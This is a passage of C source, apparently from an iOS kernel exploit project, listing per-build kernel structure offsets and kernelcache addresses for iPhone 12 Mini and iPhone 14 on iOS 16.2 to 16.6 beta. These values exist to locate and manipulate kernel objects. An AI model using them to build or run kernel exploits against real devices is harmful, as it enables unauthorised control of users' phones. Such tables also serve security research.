.kernelcache__perfmon_dev_open = 0xfffffff007ed00f4,\n        .kernelcache__ptov_table = 0xfffffff0077ff3b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800,\n        .kernelcache__vm_pages = 0xfffffff0077fc0d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe368,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f226a0,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone13,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3b1190,\n        .kernelcache__gPhysBase = 0xfffffff00784c1b0,\n        .kernelcache__gPhysSize = 0xfffffff00784c1b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784a390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed00f4,\n        .kernelcache__ptov_table = 0xfffffff0077ff3b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800,\n        .kernelcache__vm_pages = 0xfffffff0077fc0d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe368,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f226a0,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone13,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a491208,\n        .kernelcache__gPhysBase = 0xfffffff00792bfc0,\n        .kernelcache__gPhysSize = 0xfffffff00792bfc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792a198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4cf520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef064c,\n        .kernelcache__ptov_table = 0xfffffff0078df188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ce990,\n        .kernelcache__vm_pages = 0xfffffff0078dbeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078de128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ce988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3f538,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone13,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a491208,\n        .kernelcache__gPhysBase = 0xfffffff00792bfc0,\n        .kernelcache__gPhysSize = 0xfffffff00792bfc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792a198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4cf520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef064c,\n        .kernelcache__ptov_table = 0xfffffff0078df188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ce990,\n        .kernelcache__vm_pages = 0xfffffff0078dbeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078de128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ce988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3f538,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:42 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone13,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a49d288,\n        .kernelcache__gPhysBase = 0xfffffff007930100,\n        .kernelcache__gPhysSize = 0xfffffff007930100 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e2d8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4db520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef484c,\n        .kernelcache__ptov_table = 0xfffffff0078e3188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4da990,\n        .kernelcache__vm_pages = 0xfffffff0078dfeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4da988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f439d0,\n    },\n  // iOS 16.6 Beta 1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:36 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8101\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone13,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x58,\n        .task__threads__prev = 0x60,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x360,\n        .thread__task_threads__prev = 0x368,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x0 + 0x10, //0x8\n        ._vm_map__hdr__links__next = 0x8 + 0x10, //0x10\n        ._vm_map__hdr__links__start = 0x10 + 0x10, //0x18\n        ._vm_map__hdr__links__end = 0x18 + 0x10, //0x20\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x98,\n        ._vm_map__hole_hint = 0xa0,\n        ._vm_map__holes_list = 0xa8,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a545ab0,\n        .kernelcache__gPhysBase = 0xfffffff0079442a8,\n        .kernelcache__gPhysSize = 0xfffffff0079442b0, //79442B0\n        .kernelcache__gVirtBase = 0xfffffff007942460,\n        .kernelcache__perfmon_devices = 0xfffffff00a585550,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f1508c,\n        .kernelcache__ptov_table = 0xfffffff0078f79c8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a584910,\n        .kernelcache__vm_pages = 0xfffffff0078f4108,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6968,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a584908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f63be0,\n    },\n // End iPhone 12 Mini //\n// End iPhone 12 Pro, iPhone 12 Pro Max, iPhone 12, iPhone 12 Mini series //\n\n\n// Start iPhone 14, iPhone 14 Plus, iPhone 13 Pro, iPhone 13 Pro Max, iPhone 13, iPhone 13 Mini, iPhone SE 3rd series //\n // Start iPhone 14 //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone14,7\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a359190,\n        .kernelcache__gPhysBase = 0xfffffff0078540c8,\n        .kernelcache__gPhysSize = 0xfffffff0078540c8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078522a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3943b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eccfa8,\n        .kernelcache__ptov_table = 0xfffffff007807370,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a393800,\n        .kernelcache__vm_pages = 0xfffffff007804098,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806330,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3937f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f1cfd0,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone14,7\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a365190,\n        .kernelcache__gPhysBase = 0xfffffff0078541b0,\n        .kernelcache__gPhysSize = 0xfffffff0078541b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007852390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3a03b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed105c,\n        .kernelcache__ptov_table = 0xfffffff0078073b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39f800,\n        .kernelcache__vm_pages = 0xfffffff0078040d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f21074,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone14,7\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 